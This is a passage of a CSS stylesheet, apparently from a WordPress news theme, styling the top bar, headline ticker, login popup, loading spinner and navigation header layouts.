	--pmx: calc(var(--pcctain) + 60px);
	width: 100%;
	max-width: var(--pmx);
	display: block;
	margin-left: auto;
	margin-right: auto;
}
.penci-body-boxed.penci-two-sidebar .wrapper-boxed.enable-boxed {
	max-width: calc(var(--pcctain2) + 30px)
}
.penci-body-boxed.penci-two-sidebar .container.penci-breadcrumb,
.penci-body-boxed.penci-two-sidebar .container.two-sidebar {
	width: 100%;
	padding-left: 15px;
	padding-right: 15px
}
.penci-top-bar {
	background: #313131;
	height: auto
}
.penci-top-bar.topbar-1400px,
.penci-top-bar.topbar-fullwidth {
	padding: 0 20px
}
.penci-top-bar.topbar-fullwidth .container {
	width: 100%
}
.penci-headline {
	display: block
}
.penci-headline:after,
.penci-headline:before {
	content: "";
	display: table;
	clear: both
}
.penci-headline .pctopbar-item {
	display: flex;
	margin: 0 15px;
	float: left;
	line-height: 32px;
	color: #fff
}
.penci-topbar-ctext {
	font-size: 13px
}
.penci-topbar-ctext * {
	color: inherit;
	font-size: inherit
}
.penci-headline .pctopbar-item:first-child {
	margin-left: 0
}
.penci-headline .pctopbar-item:last-child {
	margin-right: 0
}
@media only screen and (min-width:1170px) {
	.penci-headline .pctopbar-item:last-child:not(:first-child) {
		float: right
	}
}
.headline-title {
	height: 32px;
	line-height: 32px;
	padding: 0 15px;
	font-size: 12px;
	color: #fff;
	background: var(--pcaccent-cl);
	float: left;
	text-transform: uppercase;
	font-family: var(--pchead-font);
	z-index: 10;
	position: relative;
	display: inline-block;
	font-weight: var(--pchead-wei)
}
.penci-top-bar .penci-owl-carousel:not(.penci-owl-loaded)>div:first-child {
	height: 32px
}
.penci-owl-carousel.penci-headline-posts .owl-stage-outer {
	height: 32px !important
}
.penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next,
.penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-prev {
	width: 16px;
	height: 20px;
	border: none;
	background: 0 0;
	display: inline-block;
	text-align: center;
	line-height: 20px;
	left: -54px;
	outline: 0;
	cursor: pointer;
	position: absolute;
	color: #999;
	opacity: 1 !important;
	font-size: 18px;
	transition: color .3s;
	-webkit-transition: color .3s;
	-moz-transition: color .3s;
	padding: 0;
	top: 50%;
	margin-top: -10px
}
.penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next {
	left: -32px
}
.penci-trending-nav {
	line-height: 32px
}
.penci-trending-nav a {
	font-size: 16px;
	line-height: inherit;
	padding-left: 5px;
	padding-right: 5px;
	cursor: pointer;
	display: inline-block;
	vertical-align: top;
	text-decoration: none !important;
	color: #999;
	position: relative
}
.penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next:hover,
.penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-prev:hover,
.penci-trending-nav a:hover {
	color: #fff
}
@keyframes TickerslideOutRight {
	from {
		opacity: 1
	}
	to {
		opacity: 0;
		transform: translate3d(20px, 0, 0)
	}
}
@keyframes TickerslideInRight {
	from {
		opacity: 0;
		transform: translate3d(20px, 0, 0)
	}
	to {
		opacity: 1;
		transform: none
	}
}
.penci-headline-posts .owl-item.sliderInUp {
	animation-name: sliderInUp;
	-webkit-animation-name: sliderInUp
}
.penci-headline-posts .owl-item.sliderOutUp {
	animation-name: sliderOutUp;
	-webkit-animation-name: sliderOutUp
}
.penci-headline-posts .slideInUp {
	-webkit-animation-name: slideInUp !important;
	animation-name: slideInUp !important
}
.penci-headline-posts .slideOutUp {
	-webkit-animation-name: slideOutUp !important;
	animation-name: slideOutUp !important
}
.penci-headline-posts .TickerslideInRight {
	-webkit-animation-name: TickerslideInRight !important;
	animation-name: TickerslideInRight !important
}
.penci-headline-posts .TickerslideOutRight {
	-webkit-animation-name: TickerslideOutRight !important;
	animation-name: TickerslideOutRight !important
}
.penci-headline-posts .fadeIn {
	-webkit-animation-name: fadeIn !important;
	animation-name: fadeIn !important
}
.penci-headline-posts .fadeOut {
	-webkit-animation-name: fadeOut !important;
	animation-name: fadeOut !important
}
a.penci-topbar-post-title {
	color: #fff;
	font-size: 12px;
	font-family: var(--pchead-font);
	text-decoration: none !important;
	text-transform: uppercase;
	transition: color .3s;
	-webkit-transition: color .3s;
	-moz-transition: color .3s;
	display: inline-block;
	white-space: nowrap;
	line-height: 32px;
	font-weight: var(--pchead-wei)
}
a.penci-topbar-post-title:hover {
	color: var(--pcaccent-cl)
}
.loaded a.penci-topbar-post-title {
	opacity: 1
}
.penci-owl-carousel-slider.swiper-fade .swiper-slide {
	pointer-events: initial;
}
.penci-topbar-social {
	display: inline-block;
	float: right;
	z-index: 10;
	position: relative
}
.penci-topbar-social>div {
	display: inline-block;
	vertical-align: top
}
.penci-topbar-social a {
	float: left;
	display: inline-block;
	vertical-align: top;
	margin-left: 13px;
	font-size: 13px;
	color: #fff;
	-webkit-transition: all .2s linear;
	-moz-transition: all .2s linear;
	-ms-transition: all .2s linear;
	-o-transition: all .2s linear;
	transition: all .2s linear;
	line-height: 32px
}
.penci-topbar-social a:first-child {
	margin-left: 0
}
.penci-topbar-social a:hover {
	color: var(--pcaccent-cl)
}
.penci-topbar-trending .animated.TickerslideInRight,
.penci-topbar-trending .animated.TickerslideOutRight,
.penci-topbar-trending .animated.fadeIn,
.penci-topbar-trending .animated.fadeOut,
.penci-topbar-trending .animated.slideInUp,
.penci-topbar-trending .animated.slideOutUp {
	-webkit-animation-duration: .3s;
	animation-duration: .3s
}
.penci-topbar-trending {
	display: flex;
	float: left;
	overflow: hidden;
	width: 100%;
	max-width: 420px;
	text-align: left;
	text-overflow: ellipsis;
	white-space: nowrap
}
.penci-topbar-trending .penci-trending-nav {
	float: left;
	position: relative;
	z-index: 100;
	padding-left: 8px;
	padding-right: 8px
}
.penci-topbar-trending .swiper {
	overflow: visible;
	max-height: 32px;
}
.penci-topbar-trending .penci-owl-carousel .owl-item {
	background: #313131
}
.headline-title.nticker-style-2 {
	margin-right: 8px
}
.headline-title.nticker-style-4 {
	margin-right: 9px
}
.headline-title.nticker-style-2:after {
	width: 0;
	height: 0;
	border-top: 8px solid transparent;
	border-left: 9px solid var(--pcaccent-cl);
	border-bottom: 8px solid transparent;
	border-top-color: transparent !important;
	border-bottom-color: transparent !important;
	content: "";
	position: absolute;
	right: -8px;
	top: 50%;
	margin-top: -8px;
	display: inline-block
}
.headline-title.nticker-style-3 {
	padding-right: 25px
}
.headline-title.nticker-style-3:after {
	width: 0;
	height: 0;
	border-top: 16px solid transparent;
	border-right: 11px solid #313131;
	border-bottom: 16px solid transparent;
	border-top-color: transparent !important;
	border-bottom-color: transparent !important;
	content: "";
	position: absolute;
	right: 0;
	top: 0;
	display: inline-block
}
.headline-title.nticker-style-4:after {
	width: 0;
	height: 0;
	content: "";
	position: absolute;
	right: -9px;
	top: 0;
	display: inline-block;
	border-bottom: 32px solid var(--pcaccent-cl);
	border-right: 9px solid transparent;
	border-right-color: transparent !important;
	opacity: .8
}
.penci-enews-ticker.penci-topbar-trending {
	float: none;
	display: flex;
	text-overflow: clip;
	max-width: 100%
}
.penci-enews-ticker.penci-topbar-trending .penci-owl-carousel .owl-item {
	background: #fff
}
.penci-enews-ticker .headline-title.nticker-style-3:after {
	border-color: #fff
}
.penci-enews-ticker .penci-trending-nav a,
.penci-enews-ticker .penci-trending-nav a:hover {
	color: #666
}
div.penci-topbar-menu>ul,
ul.penci-topbar-menu {
	display: inline-block;
	vertical-align: top;
	padding: 0;
	margin: 0
}
div.penci-topbar-menu>ul li,
ul.penci-topbar-menu li {
	position: relative
}
div.penci-topbar-menu>ul>li,
ul.penci-topbar-menu>li {
	display: inline-block;
	float: left;
	margin-right: 20px
}
div.penci-topbar-menu>ul>li:last-child,
ul.penci-topbar-menu>li:last-child {
	margin-right: 0
}
div.penci-topbar-menu>ul>li a,
ul.penci-topbar-menu>li a {
	color: #fff;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	background: 0 0;
	font-size: 11px;
	text-transform: uppercase;
	line-height: 32px;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei)
}
div.penci-topbar-menu>ul>li>a,
ul.penci-topbar-menu>li>a {
	display: inline-block;
	vertical-align: top
}
.penci-topbar-menu img {
	vertical-align: middle
}
div.penci-topbar-menu>ul>li a:hover,
ul.penci-topbar-menu>li a:hover {
	color: var(--pcaccent-cl)
}
div.penci-topbar-menu>ul ul.sub-menu,
ul.penci-topbar-menu ul.sub-menu {
	display: none;
	position: absolute;
	left: 0;
	background: #313131;
	box-shadow: 0 3px 3px rgba(0, 0, 0, .15);
	-webkit-box-shadow: 0 3px 3px rgba(0, 0, 0, .15);
	-moz-box-shadow: 0 3px 3px rgba(0, 0, 0, .15)
}
div.penci-topbar-menu>ul li:hover>ul.sub-menu,
ul.penci-topbar-menu li:hover>ul.sub-menu {
	display: block;
	z-index: 105
}
div.penci-topbar-menu>ul li:hover ul.sub-menu ul.sub-menu,
ul.penci-topbar-menu li:hover ul.sub-menu ul.sub-menu {
	left: 100%;
	top: 0
}
div.penci-topbar-menu>ul ul.sub-menu li a,
ul.penci-topbar-menu ul.sub-menu li a {
	width: 150px;
	padding: 7px 0;
	margin: 0 20px;
	line-height: 1.7;
	display: block;
	text-align: left
}
div.penci-topbar-menu>ul ul.sub-menu li a,
div.penci-topbar-menu>ul>li>ul.sub-menu>li:first-child,
ul.penci-topbar-menu ul.sub-menu li a,
ul.penci-topbar-menu>li>ul.sub-menu>li:first-child {
	border-top: 1px solid #414141
}
div.penci-topbar-menu>ul ul.sub-menu li:first-child>a,
ul.penci-topbar-menu ul.sub-menu>li:first-child>a {
	border-top: none
}
.penci-top-bar .pclogin-item,
.penci-top-bar .pctopbar-login-btn {
	display: inline-block;
	position: relative;
	vertical-align: top
}
.penci-topbar-social .pclogin-item,
.penci-topbar-social-mobile .pclogin-item {
	margin-right: 13px
}
.penci-top-bar .pclogin-item:not(.penci-login-popup-btn) a,.penci-top-bar .penci-login-popup-btn a {
	font-size: inherit
}
.penci-top-bar .penci-login-popup-btn a i {
	font-size: 13px
}
.pclogin-item.login-popup span {
	margin-left: 4px;
	font-size: inherit
}
.penci-topbar-social.penci-lgdisplay-right .pclogin-item {
	margin-right: 0;
	margin-left: 13px
}
.pctopbar-login-btn .pclogin-sub {
	position: absolute;
	left: 0;
	width: 200px;
	top: 32px;
	background: #313131;
	padding: 10px 20px;
	display: none;
	z-index: 10
}
.pctopbar-login-btn li.pclogin-item:hover>.pclogin-sub {
	display: block
}
.pctopbar-login-btn li.pclogin-item img {
	position: relative;
	top: 5px;
	margin: 0;
	margin-right: 5px
}
.pctopbar-login-btn .pclogin-sub li {
	display: block;
	float: none;
	font-size: inherit
}
.pctopbar-login-btn .pclogin-sub li a {
	display: block;
	float: none;
	font-size: inherit
}
.pctopbar-login-btn .pclogin-sub li a i {
	margin-right: 5px;
	font-style: normal
}
.penci-loader-effect {
	width: 40px;
	height: 40px;
	margin: 0 auto;
	margin-top: -26px;
	margin-left: -26px;
	display: none;
	position: absolute;
	top: 50%;
	left: 50%;
	z-index: 300
}
.penci-loader-effect .penci-ld {
	width: 40px;
	height: 40px;
	position: relative;
	margin: 0;
	display: block
}
.penci-ld .penci-ldin {
	width: 100%;
	height: 100%;
	position: absolute;
	left: 0;
	top: 0
}
.penci-ld .penci-ld2 {
	-webkit-transform: rotate(30deg);
	-ms-transform: rotate(30deg);
	transform: rotate(30deg)
}
.penci-ld .penci-ld3 {
	-webkit-transform: rotate(60deg);
	-ms-transform: rotate(60deg);
	transform: rotate(60deg)
}
.penci-ld .penci-ld4 {
	-webkit-transform: rotate(90deg);
	-ms-transform: rotate(90deg);
	transform: rotate(90deg)
}
.penci-ld .penci-ld5 {
	-webkit-transform: rotate(120deg);
	-ms-transform: rotate(120deg);
	transform: rotate(120deg)
}
.penci-ld .penci-ld6 {
	-webkit-transform: rotate(150deg);
	-ms-transform: rotate(150deg);
	transform: rotate(150deg)
}
.penci-ld .penci-ld7 {
	-webkit-transform: rotate(180deg);
	-ms-transform: rotate(180deg);
	transform: rotate(180deg)
}
.penci-ld .penci-ld8 {
	-webkit-transform: rotate(210deg);
	-ms-transform: rotate(210deg);
	transform: rotate(210deg)
}
.penci-ld .penci-ld9 {
	-webkit-transform: rotate(240deg);
	-ms-transform: rotate(240deg);
	transform: rotate(240deg)
}
.penci-ld .penci-ld10 {
	-webkit-transform: rotate(270deg);
	-ms-transform: rotate(270deg);
	transform: rotate(270deg)
}
.penci-ld .penci-ld11 {
	-webkit-transform: rotate(300deg);
	-ms-transform: rotate(300deg);
	transform: rotate(300deg)
}
.penci-ld .penci-ld12 {
	-webkit-transform: rotate(330deg);
	-ms-transform: rotate(330deg);
	transform: rotate(330deg)
}
.penci-ld .penci-ldin:before {
	content: "";
	display: block;
	margin: 0 auto;
	width: 15%;
	height: 15%;
	border-radius: 100%;
	-webkit-animation: LoadingCircleEf .7s infinite ease-in-out both;
	animation: LoadingCircleEf .7s infinite ease-in-out both;
	background: var(--pcaccent-cl)
}
.penci-ld .penci-ld2:before {
	-webkit-animation-delay: -1.1s;
	animation-delay: -1.1s
}
.penci-ld .penci-ld3:before {
	-webkit-animation-delay: -1s;
	animation-delay: -1s
}
.penci-ld .penci-ld4:before {
	-webkit-animation-delay: -.9s;
	animation-delay: -.9s
}
.penci-ld .penci-ld5:before {
	-webkit-animation-delay: -.8s;
	animation-delay: -.8s
}
.penci-ld .penci-ld6:before {
	-webkit-animation-delay: -.7s;
	animation-delay: -.7s
}
.penci-ld .penci-ld7:before {
	-webkit-animation-delay: -.6s;
	animation-delay: -.6s
}
.penci-ld .penci-ld8:before {
	-webkit-animation-delay: -.5s;
	animation-delay: -.5s
}
.penci-ld .penci-ld9:before {
	-webkit-animation-delay: -.4s;
	animation-delay: -.4s
}
.penci-ld .penci-ld10:before {
	-webkit-animation-delay: -.3s;
	animation-delay: -.3s
}
.penci-ld .penci-ld11:before {
	-webkit-animation-delay: -.2s;
	animation-delay: -.2s
}
.penci-ld .penci-ld12:before {
	-webkit-animation-delay: -.1s;
	animation-delay: -.1s
}
@-webkit-keyframes LoadingCircleEf {
	0%,
	100%,
	80% {
		-webkit-transform: scale(0);
		transform: scale(0)
	}
	40% {
		-webkit-transform: scale(1);
		transform: scale(1)
	}
}
@keyframes LoadingCircleEf {
	0%,
	100%,
	80% {
		-webkit-transform: scale(0);
		transform: scale(0)
	}
	40% {
		-webkit-transform: scale(1);
		transform: scale(1)
	}
}
.pc-login-register-mobile .pclogin-sub {
	left: auto;
	right: auto;
	z-index: 999999
}
.penci-hidden {
	display: none
}
#penci-login-popup {
	position: relative;
	display: block;
	vertical-align: middle;
	margin: 0 auto;
	text-align: left;
	z-index: 10;
	width: 100%;
	max-width: 470px;
	padding: 44px;
	background: 0 0;
	background-size: auto;
	color: #313131;
	opacity: 0;
	-webkit-transition: all .4s cubic-bezier(.5, 0, .1, 1);
	transition: all .4s cubic-bezier(.5, 0, .1, 1);
	transform: scale(.6);
	-webkit-transform: scale(.6)
}
#penci-login-popup:after,
#penci-login-popup:before {
	content: "";
	position: absolute;
	z-index: -1;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	display: block;
	background: #fff no-repeat fixed center center;
	opacity: .75
}
#penci-login-popup:after {
	z-index: -2;
	background-color: transparent;
	opacity: 1
}
.mfp-ready #penci-login-popup {
	opacity: 1;
	transform: scale(1);
	-webkit-transform: scale(1)
}
.mfp-ready.mfp-removing #penci-login-popup {
	opacity: 0;
	transform: scale(.6);
	-webkit-transform: scale(.6)
}
.mfp-bg.penci-popup-animation {
	opacity: 0;
	transition: all .3s ease-out
}
.mfp-bg.penci-popup-animation.mfp-ready {
	opacity: .9
}
.mfp-bg.penci-popup-animation.mfp-ready.mfp-removing {
	opacity: 0
}
#penci-login-popup.ajax-loading:before {
	content: "";
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 10;
	background: #fff;
	opacity: .65
}
#penci-login-popup.ajax-loading .penci-loader-effect {
	display: block
}
.penci-login-container .penci-login .register-input-checkbox,
.penci-login-container .penci-login input[type=email],
.penci-login-container .penci-login input[type=tel],
.penci-login-container .penci-login input[type=password],
.penci-login-container .penci-login input[type=submit],
.penci-login-container .penci-login input[type=text] {
	width: 100%;
	padding: 0 15px;
	border-radius: 0;
	margin-bottom: 20px;
	line-height: 40px
}
.register-input-checkbox:not(.checked) .pcpop-button {
	pointer-events: none;
	cursor: disabled;
	opacity: .6;
}
.penci-lgpop-title {
	text-align: center;
	line-height: 1.2;
	text-transform: uppercase;
	font-size: 24px;
	margin-bottom: 20px;
	letter-spacing: 0;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei)
}
.pclogin-input-checkbox {
	margin-bottom: 20px
}
.pclg-2col>div {
	float: left;
	width: 47.5%;
	margin-right: 5%
}
.pclg-2col>div:last-child {
	margin-right: 0
}
.top-search-classes {
	float: right;
	width: 20px;
	text-align: center;
	margin-right: 0
}
#navigation .pcheader-icon.penci-top-search {
	margin-right: 0
}
#navigation .pcheader-icon,
.top-search-classes.shoping-cart-icon {
	margin-right: 10px
}
.top-search-classes.shoping-cart-icon {
	position: relative
}
#navigation .pcheader-icon:first-child,
#navigation.header-4 .pcheader-icon,
#navigation.header-5 .pcheader-icon,
#navigation.header-6 .pcheader-icon {
	margin-right: 0
}
.top-search-classes a.cart-contents,
.top-search-classes>a {
	font-size: 14px;
	line-height: 58px;
	display: block;
	height: 58px;
	cursor: pointer;
	-moz-transition: all .3s;
	-o-transition: all .3s;
	-webkit-transition: all .3s;
	transition: all .3s;
	color: #313131;
	background: 0 0
}
#navigation.header-6 .menu {
	margin-right: 30px
}
@media only screen and (min-width:961px) {
	#navigation.header-10 .top-search-classes>a,
	#navigation.header-10 a.cart-contents,
	#navigation.header-11 .top-search-classes>a,
	#navigation.header-11 a.cart-contents,
	#navigation.header-6 .top-search-classes>a,
	#navigation.header-6 a.cart-contents {
		line-height: 80px;
		height: 80px
	}
}
@media only screen and (max-width:960px) {
	#navigation.header-10 .top-search-classes>a,
	#navigation.header-10 a.cart-contents,
	#navigation.header-11 .top-search-classes>a,
	#navigation.header-11 a.cart-contents,
	#navigation.header-6 .top-search-classes>a,
	#navigation.header-6 a.cart-contents {
		line-height: 60px;
		height: 60px
	}
}
.is-sticky #navigation.header-10 .top-search-classes>a,
.is-sticky #navigation.header-10 a.cart-contents,
.is-sticky #navigation.header-11 .top-search-classes>a,
.is-sticky #navigation.header-11 a.cart-contents,
.is-sticky #navigation.header-6 .top-search-classes>a,
.is-sticky #navigation.header-6 a.cart-contents {
	line-height: 58px;
	height: 58px
}
.top-search-classes a.cart-contents>i,
.top-search-classes>a>i {
	width: 20px
}
.top-search-classes a.cart-contents,
.top-search-classes.compare-icon>a,
.top-search-classes.shoping-cart-icon>a,
.top-search-classes.wishlist-icon>a {
	position: relative
}
.top-search-classes a.cart-contents>i,
.top-search-classes.shoping-cart-icon>a>i {
	font-size: 17px
}
.top-search-classes a.cart-contents>span,
.top-search-classes.compare-icon>a>span,
.top-search-classes.shoping-cart-icon>a>span,
.top-search-classes.wishlist-icon>a>span {
	font-family: var(--pcbody-font);
	font-size: 9px;
	line-height: 14px;
	position: absolute;
	z-index: 1;
	top: calc(50% - 17px);
	right: -4px;
	display: inline-block;
	width: 14px;
	height: 14px;
	-moz-transition: all .3s;
	-webkit-transition: all .3s;
	transition: all .3s;
	text-align: center;
	white-space: nowrap;
	color: #fff;
	-moz-border-radius: 50%;
	-webkit-border-radius: 50%;
	border-radius: 50%;
	background: var(--pcaccent-cl)
}
.top-search-classes .svg-icon {
	display: inline-block;
	margin-top: 5px
}
.top-search-classes.shoping-cart-icon .svg-icon {
	margin-top: 3px
}
@media only screen and (max-width:960px) {
	#navigation.header-10 .pcheader-icon a.cart-contents,
	#navigation.header-10 .pcheader-icon>a,
	#navigation.header-11 .pcheader-icon a.cart-contents,
	#navigation.header-11 .pcheader-icon>a,
	#navigation.header-9 .pcheader-icon a.cart-contents,
	#navigation.header-9 .pcheader-icon>a {
		height: 58px;
		line-height: 58px
	}
}
#navigation {
	background: #fff;
	height: 60px;
	z-index: 9999;
	width: 100%;
	-webkit-backface-visibility: hidden;
	border-bottom: 1px solid #ececec;
	transition: box-shadow .3s;
	-webkit-transition: box-shadow .3s;
	-moz-transition: box-shadow .3s;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s
}
.wrapper-boxed.enable-boxed #navigation {
	transition: height .3s, box-shadow .3s;
	-webkit-transition: height .3s, box-shadow .3s;
	-moz-transition: height .3s, box-shadow .3s
}
#navigation.sticky-active {
	z-index: 99999
}
#navigation.header-6,
#navigation.header-9 {
	transition: box-shadow .3s, height .3s;
	-webkit-transition: box-shadow .3s, height .3s;
	-moz-transition: box-shadow .3s, height .3s
}
#navigation.header-7,
#navigation.header-8,
#navigation.header-9 {
	padding: 0 20px
}
#navigation.header-layout-bottom {
	box-shadow: 0 0 0 transparent;
	-webkit-box-shadow: 0 0 0 transparent;
	-moz-box-shadow: 0 0 0 transparent;
	border-top: 1px solid #ececec
}
#navigation.header-1,
#navigation.header-4,
#navigation.header-7 {
	border-top: 1px solid transparent !important
}
.is-sticky #navigation {
	box-shadow: 0 1px 5px rgba(190, 190, 190, .46);
	-webkit-box-shadow: 0 1px 5px rgba(190, 190, 190, .46);
	-moz-box-shadow: 0 1px 5px rgba(190, 190, 190, .46);
	border-color: transparent !important
}
.wrapper-boxed.enable-boxed .is-sticky #navigation {
	margin: 0 auto;
	left: 0;
	right: 0;
	width: 100%;
	max-width: calc(var(--pcctain) + 60px)
}
.penci-body-boxed.penci-two-sidebar .wrapper-boxed.enable-boxed .is-sticky #navigation {
	max-width: calc(var(--pcctain2) + 30px)
}
.slicknav_menu {
	display: none
}
#navigation .container {
	position: relative;
	display: table;
	text-align: center
}
#navigation.header-7 .container,
#navigation.header-8 .container,
#navigation.header-9 .container {
	width: 100%;
	--pcctain: calc(100vw - 40px)
}
#navigation .container .inner-top-navigation {
	display: inline-block;
	vertical-align: top
}
#navigation .menu {
	float: left
}
#navigation.header-4 .menu,
#navigation.header-4 .pcheader-icon,
#navigation.header-4 .top-search-classes,
#navigation.header-5 .menu,
#navigation.header-5 .pcheader-icon,
#navigation.header-5 .top-search-classes {
	float: none;
	vertical-align: top
}
#navigation.header-4 .pcheader-icon,
#navigation.header-4 .top-search-classes,
#navigation.header-5 .pcheader-icon,
#navigation.header-5 .top-search-classes {
	margin-left: 40px;
	display: inline-block
}
#navigation .menu>ul>li,
#navigation ul.menu>li {
	display: inline-block;
	position: relative;
	float: left;
	margin-right: 30px
}
#navigation .menu>li:last-child,
#navigation .menu>ul>li:last-child {
	margin-right: 0
}
#navigation .menu>li>a,
#navigation .sub-menu li a {
	font-family: var(--pchead-font);
	font-size: 12px;
	color: #313131;
	text-transform: uppercase;
	display: inline-block;
	-o-transition: .3s;
	-ms-transition: .3s;
	-moz-transition: .3s;
	-webkit-transition: .3s;
	position: relative;
	font-weight: var(--pchead-wei);
	text-decoration: none
}
#navigation .menu>li>a {
	line-height: 58px
}
#navigation .menu>li>a>i,
#navigation .sub-menu li>a>i {
	font-size: 13px;
	margin-right: 5px
}
#navigation .menu>ul>li>a:before,
#navigation ul.menu>li>a:before {
	content: "";
	position: absolute;
	bottom: 18px;
	transition: all .2s;
	-webkit-transition: all .2s;
	-moz-transition: all .2s;
	left: 50%;
	height: 2px;
	width: 0;
	background: var(--pcaccent-cl)
}
#navigation .menu>ul>li:hover>a:before,
#navigation .menu>ul>li>a:hover:before,
#navigation ul.menu>li:hover>a:before,
#navigation ul.menu>li>a:hover:before {
	left: 0;
	width: 100%
}
#navigation .menu>li.current-menu-ancestor>a,
#navigation .menu>li.current-menu-item>a,
#navigation .menu>li.current_page_item>a,
#navigation .menu>li:hover>a,
#navigation .menu>li>a:hover {
	color: var(--pcaccent-cl)
}
#navigation .menu>ul>li>a>img,
#navigation ul.menu>li>a>img {
	vertical-align: middle
}
#navigation .button-menu-mobile {
	display: none;
	float: left;
	line-height: 60px;
	text-align: center;
	color: #313131;
	font-size: 21px;
	cursor: pointer;
	transition: color .3s;
	-webkit-transition: color .3s;
	-moz-transition: color .3s
}
#logo a {
	display: inline-block;
	vertical-align: top
}
#logo h1 {
	margin: 0
}
.penci-mobile-hlogo {
	display: none;
	float: left;
	margin-left: 10px
}
.penci-mobile-hlogo a {
	display: inline-block
}
.penci-mobile-hlogo img {
	max-height: 60px;
	padding: 8px 0;
	width: auto
}
@media only screen and (max-width:960px) {
	.penci-hlogo-center #navigation.header-6 #logo,
	.penci-hlogo-center .penci-mobile-hlogo {
		float: none;
		margin: 0;
		position: absolute;
		left: 50%;
		top: 0;
		transform: translateX(-50%);
		-webkit-transform: translateX(-50%);
		z-index: 10
	}
	.penci-mobile-hlogo {
		display: inline-block
	}
}
#navigation.header-6 {
	height: 82px
}
#navigation.header-6 .container {
	text-align: right
}
#navigation.header-6 .menu {
	float: none
}
#navigation.header-6 #logo {
	float: left;
	display: block;
	text-align: left
}
#navigation.header-6 #logo img {
	padding: 12px 0;
	max-height: 80px;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	width: auto
}
#navigation.header-6 .menu>li>a,
#navigation.header-6 ul.menu>li>a {
	line-height: 80px
}
#navigation.header-6 .menu>ul>li>a:before,
#navigation.header-6 ul.menu>li>a:before {
	bottom: 29px
}
#navigation.header-6 .pcheader-icon {
	margin-left: 40px
}
#navigation.header-6 .pcheader-icon>a {
	height: 80px;
	line-height: 80px
}
@media only screen and (min-width:961px) {
	.header-search-style-default #navigation.header-6 .penci-menuhbg-toggle,
	.header-search-style-default #navigation.header-6 .show-search {
		height: 80px
	}
	.header-search-style-default #navigation.header-6 .show-search a.close-search {
		height: 80px;
		line-height: 80px
	}
	.header-search-style-default #navigation.header-6 .show-search form.pc-searchform input.search-input {
		height: 80px;
		padding: 26px 35px 26px 0
	}
}
#navigation.header-10>.container,
#navigation.header-11>.container {
	display: -webkit-flex;
	display: -ms-flexbox;
	display: flex;
	-webkit-align-items: center;
	-ms-flex-align: center;
	align-items: center;
	-webkit-flex-wrap: wrap;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap
}
#navigation.header-10 .penci-menu-wrap,
#navigation.header-11 .penci-menu-wrap {
	display: -webkit-flex;
	display: -ms-flexbox;
	display: flex;
	flex: 3 0;
	-webkit-align-items: center;
	-ms-flex-align: center;
	align-items: center;
	-webkit-flex-wrap: wrap;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
	width: 100%;
	float: left;
	text-align: center;
	-webkit-justify-content: space-between;
	justify-content: space-between
}
#navigation.header-10 .penci-menu-wrap #logo,
#navigation.header-11 .penci-menu-wrap #logo {
	width: 24%;
	display: flex;
	justify-content: center;
	align-items: center;
	position: relative
}
#navigation.header-10 .penci-menu-wrap .menu,
#navigation.header-11 .penci-menu-wrap .menu {
	padding: 0;
	margin: 0;
	display: flex;
	align-items: center;
	flex-wrap: wrap
}
#navigation.header-10,
#navigation.header-11 {
	height: 82px
}
#navigation.header-10 .menu>li>a,
#navigation.header-10 ul.menu>li>a,
#navigation.header-11 .menu>li>a,
#navigation.header-11 ul.menu>li>a {
	line-height: 80px
}
#navigation.header-10 #logo img,
#navigation.header-11 #logo img {
	padding: 12px 0;
	max-height: 80px;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	width: auto
}
.is-sticky #navigation.header-10 #logo img,
.is-sticky #navigation.header-11 #logo img {
	padding: 7px 0
}
#navigation.header-10 .penci-header-extra,
#navigation.header-11 .penci-header-extra {
	margin-left: 15px
}
#navigation.header-10 .pcheader-icon>a,
#navigation.header-10 .penci-menuhbg-toggle,
#navigation.header-10 .show-search a.close-search,
#navigation.header-11 .pcheader-icon>a,
#navigation.header-11 .penci-menuhbg-toggle,
#navigation.header-11 .show-search a.close-search {
	height: 80px;
	line-height: 80px
}
@media only screen and (min-width:961px) {
	.header-search-style-default #navigation.header-11 .show-search form.pc-searchform input.search-input {
		height: 80px;
		padding: 26px 35px 26px 20px
	}
	.header-search-style-default #navigation.header-10 .show-search form.pc-searchform input.search-input {
		height: 80px;
		padding: 26px 35px 26px 0
	}
	.header-search-style-default #navigation.header-10 .show-search,
	.header-search-style-default #navigation.header-11 .show-search {
		height: 80px
	}
	.header-search-style-default #navigation.header-11 .show-search a.close-search {
		right: 10px
	}
}
.is-sticky #navigation.header-10,
.is-sticky #navigation.header-11,
.is-sticky #navigation.header-6 {
	height: 60px
}
.is-sticky #navigation.header-6 #logo img {
	max-height: 58px;
	padding: 7px 0
}
.is-sticky #navigation.header-6 .menu>li>a,
.is-sticky #navigation.header-6 ul.menu>li>a {
	line-height: 58px
}
.is-sticky #navigation.header-6 .menu>ul>li>a:before,
.is-sticky #navigation.header-6 ul.menu>li>a:before {
	bottom: 18px
}
.is-sticky #navigation.header-10 .penci-menuhbg-toggle,
.is-sticky #navigation.header-10 .show-search,
.is-sticky #navigation.header-11 .penci-menuhbg-toggle,
.is-sticky #navigation.header-11 .show-search,
.is-sticky #navigation.header-6 .penci-menuhbg-toggle,
.is-sticky #navigation.header-6 .show-search {
	height: 58px
}
.is-sticky #navigation.header-10 .pcheader-icon>a,
.is-sticky #navigation.header-10 .show-search a.close-search,
.is-sticky #navigation.header-11 .pcheader-icon>a,
.is-sticky #navigation.header-11 .show-search a.close-search,
.is-sticky #navigation.header-6 .pcheader-icon>a,
.is-sticky #navigation.header-6 .show-search a.close-search {
	height: 58px;
	line-height: 58px
}
.is-sticky #navigation.header-11 .show-search form.pc-searchform input.search-input {
	padding: 15px 35px 15px 15px;
	height: 58px
}
